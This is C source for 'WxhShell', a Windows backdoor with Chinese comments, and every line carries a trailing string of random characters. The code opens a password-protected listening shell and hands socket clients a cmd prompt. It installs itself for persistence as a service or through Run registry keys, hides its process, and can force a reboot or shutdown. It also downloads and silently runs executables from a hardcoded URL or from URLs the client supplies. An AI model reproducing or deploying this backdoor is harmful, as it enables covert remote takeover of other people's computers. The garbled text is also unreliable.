    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o<\CA[   
    if(Boot(SHUTDOWN)) TCW[;d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `(j}2X'[  
    else { gAcXd<a0  
    closesocket(wsh); X@$x(Zc  
    ExitThread(0); %]/O0#E3Kz  
    } &yFt@g]  
    break; ~(2G7x)  
    } F1skI _!  
  // 获取shell ^j1?LB  
  case 's': { K1S)S8.EZ8  
    CmdShell(wsh); ZqaCe>  
    closesocket(wsh); ;x.xj/7  
    ExitThread(0); sxq'uF(K  
    break; F\1{bN|3  
  } E|!rapa  
  // 退出 <a@'Pcsk  
  case 'x': { ;U6z|O7L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1-.UkdZ}  
    CloseIt(wsh); Vj^<V|=  
    break; AplXl=  
    } vh8{*9+  
  // 离开 Eeem y*U  
  case 'q': { vAW+ ,Rfj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _KSYt32N  
    closesocket(wsh); N :E7rtT,M  
    WSACleanup(); h(aF>a\Z  
    exit(1); KNtsz[#b  
    break; `@MY}/ o.  
        } \M4/?<g  
  } psb$rbu7[  
  } s_} 1J,Y  
^+CTv  
  // 提示信息 }]cKOv2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `&2AN%Xz  
} Y }*[Krw  
  } T7E9l  
'2+Rb7V  
  return; FuEgI8+b  
} {}ks[%,_\  
o,a 3J:j]  
// shell模块句柄 9OYsI  
int CmdShell(SOCKET sock) tA?P$5?-*  
{ > <WR]`G  
STARTUPINFO si; g0@i[&A@{  
ZeroMemory(&si,sizeof(si)); `$|!h-"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vJg|}]h>L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +'qzk>B  
PROCESS_INFORMATION ProcessInfo; !QoOL<(){  
char cmdline[]="cmd"; k8E'wN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZRY s7 4<  
  return 0; uVJ;1H!  
} eup#.#J  
]kC/b^~+m  
// 自身启动模式 ^hOnLy2  
int StartFromService(void) j'lfH6_')e  
{ v%t "N  
typedef struct $N[-ks2 {@  
{ q|)8VmVV  
  DWORD ExitStatus; kJP fL s  
  DWORD PebBaseAddress; ]Y!$HT7\  
  DWORD AffinityMask; Jt6~L5[_s  
  DWORD BasePriority; X5kIM\  
  ULONG UniqueProcessId; ;5tSXgGw7  
  ULONG InheritedFromUniqueProcessId; D@T>z;  
}   PROCESS_BASIC_INFORMATION; Q>s>@hw  
oWGtKtDhH  
PROCNTQSIP NtQueryInformationProcess; J[fjl 6p  
Cg NfqT0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B42.;4"T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !$ikH,Bh  
NNC@?A7  
  HANDLE             hProcess; PE1F3u>O  
  PROCESS_BASIC_INFORMATION pbi; ~fLuys`*:  
r 5::c= Cl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n m4+$GW   
  if(NULL == hInst ) return 0; $Oa} U3  
 k?|l;6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;c"T#CH.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eaQ)r?M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y2i:ZP  
]Auk5M+  
  if (!NtQueryInformationProcess) return 0; aaf\%~  
 ajF-T=5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X)iQ){21V  
  if(!hProcess) return 0; mx  s=<  
|eIEqq.Eb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9W$FX  
ffo{ 4er  
  CloseHandle(hProcess); =\7o@ 38  
qYj EQz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X-Y:)UT  
if(hProcess==NULL) return 0; 0sW=;R2  
OgjSyzc  
HMODULE hMod; H3T4v1o6  
char procName[255]; N( 0G!sTI  
unsigned long cbNeeded; gE^ {@^  
}9[E+8L1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GD?4/HkF  
9(k5Irv"'h  
  CloseHandle(hProcess); D2x-Wa  
o ohgZ&k2]  
if(strstr(procName,"services")) return 1; // 以服务启动 -7)%J+5  
'r6s5 WC  
  return 0; // 注册表启动 MKSiOM  
} fvKb0cIx]  
nff&~lwhZ  
// 主模块 F)KUup)gc  
int StartWxhshell(LPSTR lpCmdLine) 9u";%5 4  
{ dM"Suw  
  SOCKET wsl; g+h)s!$sB  
BOOL val=TRUE; #|76dU  
  int port=0; xwG=&+66  
  struct sockaddr_in door; uxF88$=!t  
/I|.^ Id|  
  if(wscfg.ws_autoins) Install(); s-]k7a 2V  
_y{z%-  
port=atoi(lpCmdLine); w[@>k@=  
7!Z\B-_,  
if(port<=0) port=wscfg.ws_port; -MZ LkSU  
6tXx--Nh  
  WSADATA data; jt-Cy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P]A>"-k  
-?gr3rV@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lNuZg9h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *Iv.W7 [  
  door.sin_family = AF_INET; G v(bD6Rz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gqvnc8V&  
  door.sin_port = htons(port); |FS,Av  
t?H.M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kBYZNjSz  
closesocket(wsl); UD6D![e  
return 1; '3B`4W,  
} F/z$jj)  
cRBdIDIc  
  if(listen(wsl,2) == INVALID_SOCKET) { ]O2ku^yM  
closesocket(wsl); )3g7dtq}  
return 1; ZGrjb22M  
} L|4kv  
  Wxhshell(wsl); !HyPe"`oL  
  WSACleanup(); a-\\A[E  
qa 'YZE`  
return 0; ?eD,\G  
e R"XXF0u  
} K 2PV^Y  
Q7oJ4rIP  
// 以NT服务方式启动 6v7H?4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X^mv sY  
{ cbvK;;  
DWORD   status = 0; c(jF^ 0~  
  DWORD   specificError = 0xfffffff; d5$2*h{^v  
VXEA.Mko  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9 ! [oJ3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vUD,%@k9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~7aBli=  
  serviceStatus.dwWin32ExitCode     = 0; ~#3h-|]*  
  serviceStatus.dwServiceSpecificExitCode = 0; Gxk=]5<7  
  serviceStatus.dwCheckPoint       = 0; .U|e#t  
  serviceStatus.dwWaitHint       = 0; V {R<R2h1  
g _fvbVX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bs2.$~   
  if (hServiceStatusHandle==0) return; oK1"8k|Z  
yGl (QLk  
status = GetLastError(); v#u]cmI  
  if (status!=NO_ERROR) vaQZ1a,  
{ '~i;g.n=}-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zj;2>  
    serviceStatus.dwCheckPoint       = 0; (3z: ;  
    serviceStatus.dwWaitHint       = 0; IgH[xwzy[  
    serviceStatus.dwWin32ExitCode     = status; It,m %5 Py  
    serviceStatus.dwServiceSpecificExitCode = specificError; JJJlgr]#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qp8. D4^@3  
    return; b Z c&uq_  
  } ZAe>MNtW  
-FA]%Pl<'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M,1Yce%+}  
  serviceStatus.dwCheckPoint       = 0; ])paU8u  
  serviceStatus.dwWaitHint       = 0; Am3^3>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [oN}zZP]  
} {?*3Ou  
LQ4GQ qS*  
// 处理NT服务事件,比如:启动、停止 jSbO1go#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pVe@HJy6G  
{ V&4)B &W  
switch(fdwControl) z7V74hRPX  
{ Kl.xe&t@j  
case SERVICE_CONTROL_STOP: .Lz\/ OS  
  serviceStatus.dwWin32ExitCode = 0; _urv We  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]Cy1yAv={  
  serviceStatus.dwCheckPoint   = 0; aH<BqD[#  
  serviceStatus.dwWaitHint     = 0; AkdONKO8{  
  { Ijq',@jE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H|>dF)%pj  
  } q)R&npP7  
  return; `[\*1GpAo  
case SERVICE_CONTROL_PAUSE: NyU~8?bp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hPtSY'_@_  
  break; w :2@@)pr  
case SERVICE_CONTROL_CONTINUE: Sd?:+\bS;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :@KU_U)\  
  break; wWm 1G)  
case SERVICE_CONTROL_INTERROGATE: =mV1jGqX  
  break; 8XtZF,Du  
}; oeKI9p13\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zp[Uh]-dMK  
} `-!t8BH  
F`,XB[}2  
// 标准应用程序主函数 'c[4-m3bg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q%8%J'Fro  
{ TTcMIMyLT  
zt{?Nt b  
// 获取操作系统版本 _U)BOE0o  
OsIsNt=GetOsVer(); d K|6p_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !J ")TP=  
H <1g  
  // 从命令行安装 l]R O'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 01Bs7@"+  
,aS6|~ac4  
  // 下载执行文件 %!$ua_8  
if(wscfg.ws_downexe) { 4eapR|#T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [f["9(:  
  WinExec(wscfg.ws_filenam,SW_HIDE); N'_,VB  
} lot7SXvK  
m=i8o `  
if(!OsIsNt) { E>~DlL%  
// 如果时win9x,隐藏进程并且设置为注册表启动 [FLRrTcE  
HideProc(); cy|]}n85  
StartWxhshell(lpCmdLine); Nzj7e 1=  
} [L h<k+  
else @dE|UZ=(  
  if(StartFromService()) 9d{iq"*R  
  // 以服务方式启动 %RA8M- d  
  StartServiceCtrlDispatcher(DispatchTable); N@J "~9T  
else }.O,P'k  
  // 普通方式启动 [eL?O;@BD  
  StartWxhshell(lpCmdLine); 0eq="|n^|  
O~yPe.  
return 0; KJc fbZ~  
} *FyBkG'  
1iBOf8  
>0kn&pe7#T  
E/x``,k  
=========================================== ^t4T8ejn  
#JVw`=P  
N{v <z 6  
i-Ck:-J  
<a%9d<@m  
 M\zM-B  
" u50 o1^<X  
zs!,PQF(  
#include <stdio.h> O'y8[<  
#include <string.h> -'btKz*9  
#include <windows.h> d`9% :2qE  
#include <winsock2.h> F?Cx"JYix  
#include <winsvc.h> CDcZ6.f  
#include <urlmon.h> c!l=09a~a+  
}$5S@,  
#pragma comment (lib, "Ws2_32.lib") t_1(Ex  
#pragma comment (lib, "urlmon.lib") .s-X %%e\  
2lNZwV7  
#define MAX_USER   100 // 最大客户端连接数 rn3GBWC_C  
#define BUF_SOCK   200 // sock buffer rvjPm5[t  
#define KEY_BUFF   255 // 输入 buffer 9^ITP!~e*  
b^b@W^\hn  
#define REBOOT     0   // 重启 0Q>f,}W%>  
#define SHUTDOWN   1   // 关机 P)x&9OHV  
qP? V{N  
#define DEF_PORT   5000 // 监听端口 @{16j# 'R  
LAqmM3{fA  
#define REG_LEN     16   // 注册表键长度 Htd-E^/  
#define SVC_LEN     80   // NT服务名长度 KhK:%1po  
Gkci_A*  
// 从dll定义API sd|5oz )  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |uT|(:i84,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O>UG[ZgW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &u) R+7bl,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #&zNYzI  
}gw \w?/  
// wxhshell配置信息 k?-GI[@X  
struct WSCFG {  WK;X6`  
  int ws_port;         // 监听端口 ?v8.3EE1\o  
  char ws_passstr[REG_LEN]; // 口令 nojJGeW%  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4D(5WJ&  
  char ws_regname[REG_LEN]; // 注册表键名 #~]S  
  char ws_svcname[REG_LEN]; // 服务名 SSH))zJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H4DM,.04  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q?df5{6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E`68Z/%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ce 3{KGBw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jG8W|\8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ( )K,~  
1#LXy%^tO  
}; ._2#89V  
1&%6sZN  
// default Wxhshell configuration "b)Y5[nW  
struct WSCFG wscfg={DEF_PORT, <1i:Z*l.  
    "xuhuanlingzhe", r(=  
    1, yH}(0  
    "Wxhshell", t){})nZ/4  
    "Wxhshell", dq d:V$o  
            "WxhShell Service", m$b5Vqq  
    "Wrsky Windows CmdShell Service", 8Mx+tA  
    "Please Input Your Password: ", z0=(l?)#  
  1, 9K~0:c  
  "http://www.wrsky.com/wxhshell.exe", h/`]=kCl  
  "Wxhshell.exe" =[]V$<G'w{  
    }; o@SL0H-6|  
wuRB[KLe  
// 消息定义模块 -E, d)O`;$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M\4pTcz{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?U+^ctwv7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {C+blzh6  
char *msg_ws_ext="\n\rExit."; Wtl/xA_  
char *msg_ws_end="\n\rQuit."; Zj,1)ii  
char *msg_ws_boot="\n\rReboot..."; 37C'knW  
char *msg_ws_poff="\n\rShutdown..."; r@e/<bz9  
char *msg_ws_down="\n\rSave to "; hp ?4w),  
@~t^zI1  
char *msg_ws_err="\n\rErr!"; 1Pya\To,m  
char *msg_ws_ok="\n\rOK!"; _:(RkS!x  
OR84/^>  
char ExeFile[MAX_PATH]; 2% ],0,o  
int nUser = 0; @PH`Wn#S  
HANDLE handles[MAX_USER]; Ht >5R  
int OsIsNt; KO*# ^+g  
z$#q'+$  
SERVICE_STATUS       serviceStatus; 5q<cZ)v#&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NX wthc3  
\YXzq<7  
// 函数声明 tOUpK20q.@  
int Install(void); i_/A,5TF  
int Uninstall(void); mab921-n  
int DownloadFile(char *sURL, SOCKET wsh); b)+nNqY|  
int Boot(int flag); IXjFK  
void HideProc(void); S87E$k  
int GetOsVer(void); DxuT23. (  
int Wxhshell(SOCKET wsl); HW|5'opF  
void TalkWithClient(void *cs); z;T_%?u  
int CmdShell(SOCKET sock); %x}iEqkU  
int StartFromService(void); BQ8vg8e]B  
int StartWxhshell(LPSTR lpCmdLine); is?#wrV=K  
FA5|`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =|}_ASbzw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R-2NJ0F7  
<V[Qs3uo(  
// 数据结构和表定义 1Ce7\A  
SERVICE_TABLE_ENTRY DispatchTable[] = Z5x&P_.x[  
{ RCZ"BxleU  
{wscfg.ws_svcname, NTServiceMain}, r{+P2MPW  
{NULL, NULL} hJ~Na\?w  
}; &m{SWV+   
tVI6GXH  
// 自我安装 244[a] %&;  
int Install(void) 4gR;,%E\TO  
{ @k+&89@G  
  char svExeFile[MAX_PATH]; +Tf4SJ  
  HKEY key;  %XF>k)  
  strcpy(svExeFile,ExeFile); B/Jz$D  
~&}e8ah2  
// 如果是win9x系统,修改注册表设为自启动 I 68Y4s  
if(!OsIsNt) { :mYVHLmea  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c{"=p8F_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {J&[JA\   
  RegCloseKey(key); ;?{[vLHDL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !841/TRb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +8xC%eE  
  RegCloseKey(key); != uaB.  
  return 0; \v\f'eQ  
    } {[I]pm~n  
  } ey/{Z<D  
} _%R]TlL  
else { { l0[`"EF  
:P'M|U  
// 如果是NT以上系统,安装为系统服务 1hTE^\W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1]&FB{l  
if (schSCManager!=0) +,g3Xqs}X  
{ Zk:Kux[7  
  SC_HANDLE schService = CreateService ?Yf0h_>  
  ( mJU1n  
  schSCManager, 4Tdp;n\F  
  wscfg.ws_svcname, Mg"e$m  
  wscfg.ws_svcdisp, ,1K`w:uhS  
  SERVICE_ALL_ACCESS, _O,k0O   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q[n*ce7L0  
  SERVICE_AUTO_START, }Fq~!D Ee  
  SERVICE_ERROR_NORMAL, f (Su  
  svExeFile, e 48N[p  
  NULL, R:+cumHr  
  NULL, Be$v%4  
  NULL, rv?4S`Z,x$  
  NULL, 3< 'bi}{  
  NULL 1m~-q4D)V  
  ); TCWt3\  
  if (schService!=0) >%\&tS'  
  { $-i(xnU/nl  
  CloseServiceHandle(schService); drwD3jx0xv  
  CloseServiceHandle(schSCManager); 6*&$ha}X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zJ*(G_H  
  strcat(svExeFile,wscfg.ws_svcname); 9$q35e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j LM}hwJ8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ` n#Db  
  RegCloseKey(key); : L+%5Jq  
  return 0; 9)?_[|2  
    } ~T^,5Tz1j  
  } cM_!_8o  
  CloseServiceHandle(schSCManager); x DiGN Jc  
} _LSp \{Z  
} 1w!O&kn  
jct|}U  
return 1; Ur9L8EdC  
} w/f?KN  
,,c+R?D  
// 自我卸载 ?E}9TQ  
int Uninstall(void) -UoTBvObAm  
{ ]r\FC\n6e  
  HKEY key; :Tcvj5  
BUs={"Pa  
if(!OsIsNt) { kBeYl+*pk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y@y"bjK \  
  RegDeleteValue(key,wscfg.ws_regname); /(u# D[  
  RegCloseKey(key); k>)Uyw$!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J kxsua  
  RegDeleteValue(key,wscfg.ws_regname); .<zN/&MXf  
  RegCloseKey(key); z -c1,GOD  
  return 0; C=Tq/L w  
  } {ePtZyo0  
} vR7S !  
} ^M)+2@6  
else { 7G+E+A5o&  
K>vi9,4/ks  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $%6.lQ  
if (schSCManager!=0) yvWM]A  
{ 9RPZj>ezjA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;(-Wc9=  
  if (schService!=0) X#>:9  
  { C %i{{Y&l  
  if(DeleteService(schService)!=0) { g#q7~#9  
  CloseServiceHandle(schService); UOpSH{N  
  CloseServiceHandle(schSCManager); ^o87qr0g]  
  return 0; 8#nAs\^  
  } #62*'.B4  
  CloseServiceHandle(schService); I {%Y0S  
  } R > [2*o"  
  CloseServiceHandle(schSCManager); VkkC;/BBW  
} Jsa]RA  
} ,4j^ lgJ  
E?0Vo%Vh  
return 1; O2:1aG  
} %i) 0sE T  
x=03 WQ8  
// 从指定url下载文件 t3b M4+n  
int DownloadFile(char *sURL, SOCKET wsh) t52KF#+>  
{ -EJj j {  
  HRESULT hr; bA1O]:`  
char seps[]= "/"; jmG)p|6  
char *token; ?PYZW5  
char *file; 5\Rg%Ezl  
char myURL[MAX_PATH]; C]Q`!e  
char myFILE[MAX_PATH]; t$&'mJ_-w  
zZW5M^z8  
strcpy(myURL,sURL); 0g2rajS  
  token=strtok(myURL,seps); \UP=pT@  
  while(token!=NULL) 2fgYcQ8`  
  { Zb7%$1)L~  
    file=token; vScEQS$>  
  token=strtok(NULL,seps); n/{ pQ&B  
  } V aoqI  
,A5}HRW%  
GetCurrentDirectory(MAX_PATH,myFILE); i#aKW'  
strcat(myFILE, "\\"); o)GesgxFa5  
strcat(myFILE, file); #w@FBFr@  
  send(wsh,myFILE,strlen(myFILE),0); |\Q2L;4C  
send(wsh,"...",3,0); {PkR6.XhR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q|}O-A*wa  
  if(hr==S_OK) <TTBIXV  
return 0; A34O(fE  
else -,Js2+QZ#  
return 1; ~z(0XKq0d  
nsM. `s@V  
} %d%FI"!K  
P]iJ"d]+X  
// 系统电源模块 !"ir}Y%  
int Boot(int flag) H.;2o(vD  
{ 9^&B.6!6  
  HANDLE hToken; -Q/wW4dE=  
  TOKEN_PRIVILEGES tkp; V|TD+7.`QB  
jNI9 .45y  
  if(OsIsNt) { w9StW9 4p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DL#y_;#3_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1*e7NJ/.,  
    tkp.PrivilegeCount = 1; }; R2M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WL|<xNL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _f~$iY  
if(flag==REBOOT) { e=s({V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) },{sJ0To  
  return 0; 1\%@oD_zG  
} +s6v!({Z  
else { K^h9\< w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [&IcIZ  
  return 0; (+6N)9rj`/  
} #Cx#U"~G`  
  } Z^BZH/I?  
  else { PC\p>6xT  
if(flag==REBOOT) { ?-~<Vc*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }(!rB#bf  
  return 0; 3kT?Y7<fv  
} >X*G6p  
else { 505ejO|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YhzDw8f  
  return 0; iUFG!,+d  
} x:Q$1&3N  
} 3ZbqZ"rE  
#]Lodo9rS\  
return 1; |&@`~OBa  
} r/@Wn  
i8KoJY"  
// win9x进程隐藏模块 -GMaK.4 =  
void HideProc(void) mHAfKB  
{ DZ1.Bm0  
)G;H f?M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); As5-@l`@  
  if ( hKernel != NULL ) E#3tkFF0Z[  
  { 3}8L!2_p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *7=`]w5k1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PJ=|g7I  
    FreeLibrary(hKernel); r,3\32[?  
  } R )4,f~@"  
>Q'*~S@v3  
return; |#{ i7>2U  
} ;>/yY]F7  
XZS%az1%  
// 获取操作系统版本 K2\)9  
int GetOsVer(void) ujl ?!  
{ vRn]u57O  
  OSVERSIONINFO winfo; M]M>z>1*v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y\4/M6  
  GetVersionEx(&winfo); 7SN61)[m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) acar-11_o/  
  return 1; h6IO;:P)  
  else ?`xm_udc  
  return 0; cW_l|  
} o~W,VhCP  
'r(g5H1}gi  
// 客户端句柄模块 H|7XfM  
int Wxhshell(SOCKET wsl) vC^{,?@  
{ W8Wjq DQ  
  SOCKET wsh; p] N/]2rR  
  struct sockaddr_in client; =}@1Z~  
  DWORD myID; 0rQ r#0`  
V rd16s  
  while(nUser<MAX_USER) yyk@f%  
{ ,L.V>Ae  
  int nSize=sizeof(client); c10$5V&@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Kn@j D;  
  if(wsh==INVALID_SOCKET) return 1; fP6.  
R#.H&#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,KD?kSIf  
if(handles[nUser]==0) p@Cas  
  closesocket(wsh); XPZ8*8JL  
else 'x<oILOG  
  nUser++; : bi(mX7t  
  } K3UN#G)U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l]#=I7 6  
%rgW}Z5  
  return 0; =F Y2O`%a  
} pq\N 2d  
ASrRMH[  
// 关闭 socket qJf\,7mi  
void CloseIt(SOCKET wsh) h{H*k#>  
{ -'L~Y~'.  
closesocket(wsh); ,Vo[mB  
nUser--; H3`.Y$z  
ExitThread(0); ~'0ZW<X.  
} )n 1[#x^I  
F|R7hqf  
// 客户端请求句柄 <2]D3,.g.  
void TalkWithClient(void *cs) _ WPt zL  
{ $uJc/  
$duT'G, -  
  SOCKET wsh=(SOCKET)cs; .Pte}pM"v  
  char pwd[SVC_LEN]; 6w(r}yO]  
  char cmd[KEY_BUFF]; _d!o,=}  
char chr[1]; ^c >Bh[  
int i,j; I}5e{jBB  
](8F]J ,  
  while (nUser < MAX_USER) { 1|!)*!hu  
%l#X6jkt  
if(wscfg.ws_passstr) { P,a9B2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q4/BpKL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Zj(**#H  
  //ZeroMemory(pwd,KEY_BUFF); _Gaem"k|  
      i=0; arRU`6?  
  while(i<SVC_LEN) { >;bym)  
=$L+J O  
  // 设置超时 cDzb}W*UM  
  fd_set FdRead; PB.'huu  
  struct timeval TimeOut; fH?A.JP=a  
  FD_ZERO(&FdRead); HB$?}V  
  FD_SET(wsh,&FdRead); 12hD*,A5j  
  TimeOut.tv_sec=8; XGbpH<  
  TimeOut.tv_usec=0; 'Ha> >2M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vdQ#C G$/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); INp:;  
`4X.UPJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5*-RIs! 2  
  pwd=chr[0]; m"n" 1;o=  
  if(chr[0]==0xd || chr[0]==0xa) { 4[JF.O6}  
  pwd=0; Ycq )$7p  
  break; 98O]tL+k/u  
  } GCiG50Z=  
  i++; u*W! !(P/  
    } zJl;| E".  
,EVPnH[F~  
  // 如果是非法用户,关闭 socket `-{? !  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5M~nNm[xJU  
} bu<d>XR  
oWLP|c~ Ap  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #gT"G18/!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NWPT89@l  
/{jt]8/;7  
while(1) { yzT1Zg_ER  
2kDv (".  
  ZeroMemory(cmd,KEY_BUFF); -K(d]-yv  
Zlh 2qq  
      // 自动支持客户端 telnet标准   vr{|ubG]d  
  j=0; $w <R".4  
  while(j<KEY_BUFF) { QRrAyRf[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %8%|6^,  
  cmd[j]=chr[0]; %#~wFW|]x  
  if(chr[0]==0xa || chr[0]==0xd) { CDXN%~0h  
  cmd[j]=0; T0"nzukd  
  break; >3B {sn}  
  } 7CSz  
  j++; :@"o.8p   
    } Hm!"%  
;~djbo0,X  
  // 下载文件 Uf ]$I`T#  
  if(strstr(cmd,"http://")) { nTD%i~t~o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2p#d  
  if(DownloadFile(cmd,wsh)) &z5?]`ALu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a#%*H  
  else ts@Z5Yw*!  
